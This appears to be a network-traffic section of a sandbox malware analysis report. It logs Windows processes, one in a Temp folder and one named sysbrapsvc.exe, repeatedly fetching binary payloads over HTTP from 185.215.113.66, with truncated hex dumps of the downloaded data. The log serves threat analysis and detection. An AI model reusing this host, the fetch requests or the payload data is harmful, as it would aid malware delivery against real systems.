May 8, 2024 15:22:45.472166061 CEST	1289	IN	Data Raw: 98 f8 17 51 a5 46 a9 06 8f 70 7e d1 56 4e 09 36 93 48 63 2d e4 5e 59 fe 7f d8 01 fc 73 11 04 eb 66 af 5f 05 e8 fa 5e 30 56 18 e8 12 c0 d7 0f 05 48 45 9f 97 4f b9 c8 ba a5 74 d5 06 3f 27 fd 27 2d af 17 cb 93 d8 14 f2 53 f2 fa 4e 30 b9 7c 59 d9 07 Data Ascii: QFp~VN6Hc-^Ysf_^0VHEOt?''-SN0\|Ye"I@/&'pz251my 50Ki8HP38FG^ZOEV-sOSBSp1@JlgTJrJg6gGwE\Wg
May 8, 2024 15:22:45.472177982 CEST	1289	IN	Data Raw: 41 d9 38 85 ee da 1f 10 58 78 ef c3 e6 5f 03 31 de e6 ca fb a1 25 b6 07 9d 1b b2 31 a6 4b f2 95 cf 45 5a 45 f9 ea 7f ba c1 4d b7 5b d9 ed 98 aa 58 ac f9 58 2c a7 8c 2a c0 64 76 05 f9 ea 6b 0c 6e a7 cc 9f 95 3a 5f 91 fe 5f 03 e9 99 02 db a3 ae cd Data Ascii: A8Xx_1%1KEZEM[XX,*dvkn:__p:2@{<@W^Y9UaKJ}_{J5J=N2)kF zXlyd}72iZbEkzf2<Meo9"fbuDgI:65+Zn(ylM
May 8, 2024 15:22:45.809576035 CEST	1289	IN	Data Raw: 04 f1 04 68 70 6d 25 a5 24 64 db 9c 1f 55 9b bb d5 7d 93 b6 b0 59 82 37 48 16 39 7d 95 ba d9 9a 0c e1 8a 9d ec 79 73 e1 b9 9e 01 ac 65 4e 76 07 47 59 6c eb 1a d5 8b f7 6c ba 2b bc 78 f5 54 f8 96 58 43 5d af 42 06 be 91 8b 5c d1 3e 11 89 bf 48 2b Data Ascii: hpm%$dU}Y7H9}yseNvGYll+xTXC]B\>H+8Y?vROQT$O<8c8]>!nxQt1K=Tm`loww?#@!C9/WHO+Rnym:\|5`Dd{K/(Y?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49715	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:46.392240047 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:46.732431889 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:46 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:22:46.732445955 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:22:46.732458115 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:22:46.732472897 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:22:46.733243942 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:22:46.733258963 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:22:46.733270884 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:22:46.733284950 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49716	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:48.088958025 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:48.428845882 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:48 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:22:48.428893089 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:22:48.428972006 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:22:48.428985119 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:22:48.429682970 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:22:48.429697990 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:22:48.429739952 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:22:48.429753065 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB
May 8, 2024 15:22:54.529365063 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:22:54.869136095 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:54 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:22:54.869206905 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:22:54.869303942 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:22:54.869362116 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49717	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:22:48.681726933 CEST	274	OUT	GET /3 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 185.215.113.66 Connection: Keep-Alive
May 8, 2024 15:22:49.024024010 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:22:48 GMT Content-Type: application/octet-stream Content-Length: 81928 Last-Modified: Wed, 24 Apr 2024 23:29:53 GMT Connection: keep-alive ETag: "662995f1-14008" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 f7 01 b2 60 0c 25 58 36 49 b9 34 23 91 28 4e 72 ab 02 06 2a ee b3 46 54 3e 3a 68 4e 47 4a 0c 37 91 b7 a4 1b 38 a1 9a e0 b0 c4 fe 21 20 44 58 a6 82 6d cd 53 58 f1 3b ac 19 89 a1 3d 8b 90 83 b4 71 ef eb 13 7a 28 73 20 51 f4 00 23 77 f7 2b 57 60 82 4a 56 6a 86 65 65 f4 3b 70 d7 7e e1 94 a3 80 aa 9f 61 33 fa c2 5f 90 b0 88 84 2c b5 14 92 38 68 0a 3a f6 a8 e8 70 3c 63 fa 87 27 43 2b f1 17 2e 48 bc 40 39 94 d5 09 2e 37 61 67 27 e3 d9 d7 11 b1 73 b6 44 ee a1 48 67 ce 3b 0d 47 de 6c 49 99 78 8e 32 06 7e cb 06 99 e2 8b b5 22 65 91 47 ca 9b f4 f8 70 e1 34 32 30 ab 66 24 ff 18 2d 2a ab a4 8e 3e 8f 4e 6f f9 37 ff 23 0c bf fa 23 74 76 8a c0 5b 91 ba 64 3c ba 64 84 a9 8a 05 47 f3 ae 16 c6 d5 ac f8 f2 e3 22 12 89 76 35 e9 23 19 da 63 c6 f6 7c eb 00 02 5d a9 90 93 72 c1 57 89 70 e8 c7 c7 ff 7e f7 25 72 e0 5b 68 5a 13 5f db 38 e3 e0 b0 df b4 6c f2 6c 3f 6c 32 2c 82 bf c0 0e 20 00 01 74 e7 94 6e d0 d7 31 4b fa 19 92 fa 71 85 57 70 41 0d c0 65 20 72 73 20 94 9c e7 af b6 92 a0 3f 21 39 04 9a db [TRUNCATED] Data Ascii: NGS!`%X6I4#(NrFT>:hNGJ78! DXmSX;=qz(s Q#w+W`JVjee;p~a3_,8h:p<c'C+.H@9.7ag'sDHg;GlIx2~"eGp420f$->No7##tv[d<dG"v5#c\|]rWp~%r[hZ_8ll?l2, tn1KqWpAe rs ?!9s,i}G:x} M]:wTU+v@V-7m+j!LqmJmVHiYHq[JG1j\Z+J2[?#fzYV"9(UWIJ's-OW`o0pmRVaj;wm57iWysesZ5{(\|+tDo>DQbd.W}@^=w%}C?2EN4jfi/kOppZ6I$aJ_/028M*J0y!=g[v]c@9d^H2~l(pc-'7JagPYP.mt&/btva}gfu;'Z~[Vn~5RkM@q/:=`:G^'CT<Czv`b=/>&-U\|pjM,/fWO4]9D-\F'bOQW`6sb_ [TRUNCATED]
May 8, 2024 15:22:49.024044991 CEST	1289	IN	Data Raw: 28 55 b0 14 8d 25 75 01 4e 4d c0 61 ac 41 b4 b2 02 db 28 1b 34 b9 e4 3d 5a ba a7 41 58 c9 72 51 09 58 06 57 a5 6a 1d a6 dc db 3c 54 91 a4 f0 53 ee c7 b4 4c 31 29 c9 3b 7d 28 06 68 a2 46 ea 8f 96 45 61 a0 bd ec 9d 9e b3 9f b9 6f db 99 91 9e cc ab Data Ascii: (U%uNMaA(4=ZAXrQXWj<TSL1);}(hFEao@@s3poh[Z6~E7Y\YdQ87$>/v2/'jIA*i$ZtBa4PdG5KQ^(,q{:)CYd;}U:
May 8, 2024 15:22:49.024104118 CEST	1289	IN	Data Raw: 73 80 0b b2 b8 b4 ed b4 ec 6c 6e 29 64 94 41 b8 c2 5b fe a0 26 a2 02 7f 86 2b d0 b5 9d 1b c4 eb 99 d1 84 a5 c4 9b e4 4a 3f ae 54 38 64 fd 73 7b bc b0 b7 f7 35 22 98 66 d9 e0 9c 2c 14 4c 63 dd 51 30 2a 35 e5 bd c5 71 38 09 82 3b 49 c8 cb 06 d7 be Data Ascii: sln)dA[&+J?T8ds{5"f,LcQ0*5q8;IW5F_E,`uvybARUBv@5:{sU~wLFy~I3z?>Twh,GY(@5D?39wne5Fud!Ji
May 8, 2024 15:22:49.024142027 CEST	1289	IN	Data Raw: c4 bb 2d ef 3e bc d7 cf 85 b5 61 42 c9 31 64 7b 11 00 a5 c9 ec bc 34 06 66 4e 0f 74 8f 73 02 53 34 4b 68 9c c2 bc c8 87 b4 4d 97 89 8e b7 7d ce 64 8b 08 fe a7 b9 04 ca a1 ad e8 0e 46 11 2f 0b 88 83 36 8f a2 c3 5b d6 10 ae bb 3d d8 38 cf 91 4f ed Data Ascii: ->aB1d{4fNtsS4KhM}dF/6[=8O^b$/lb8nfD;AzN=O'F+~gV#q((%d]d!E)xJ:.Ku[_ofLVQiGA*x
May 8, 2024 15:22:49.024156094 CEST	1289	IN	Data Raw: 47 61 a6 d7 8b e2 18 06 d4 a0 0f 77 f1 a8 b0 18 f4 e7 aa e1 f4 10 d3 6c 24 a6 92 4a 95 43 61 2d 33 b6 ea 6c 67 db 6c f1 95 8b c3 ca 0a d3 82 4b 20 b2 2c 8a 71 ed 28 57 22 b0 3e cf fd 51 37 9e 01 db db 71 df 58 6e e1 04 c1 79 7e b7 1d e7 32 64 68 Data Ascii: Gawl$JCa-3lglK ,q(W">Q7qXny~2dhr.1N5dN]YIZ]svq\|1bT0T2L>Kk`]H4X"kD/e6o[&/RcKT_N`MGmtocl;-EH-t JbB
May 8, 2024 15:22:49.024173975 CEST	1289	IN	Data Raw: 19 15 22 5a d7 57 6d 08 b4 ae a5 2d 9c 05 b2 e7 76 a1 88 d8 95 a0 92 12 78 8c 9e 84 bb 25 c3 0e ea 62 c0 e8 67 46 ce f2 85 e2 86 aa 56 e3 03 22 c9 e8 1c d4 fd 1d f3 66 d5 d2 6e a9 8f db d2 fb 8e 6c 5a 7c e2 ea 43 e3 75 e5 ab 3a 6b 8b 08 76 b5 e4 Data Ascii: "ZWm-vx%bgFV"fnlZ\|Cu:kvG\Cd!9s$Wvbc{Lz4p%+2&m=J LE9Kl64H"~c/`J'tSy
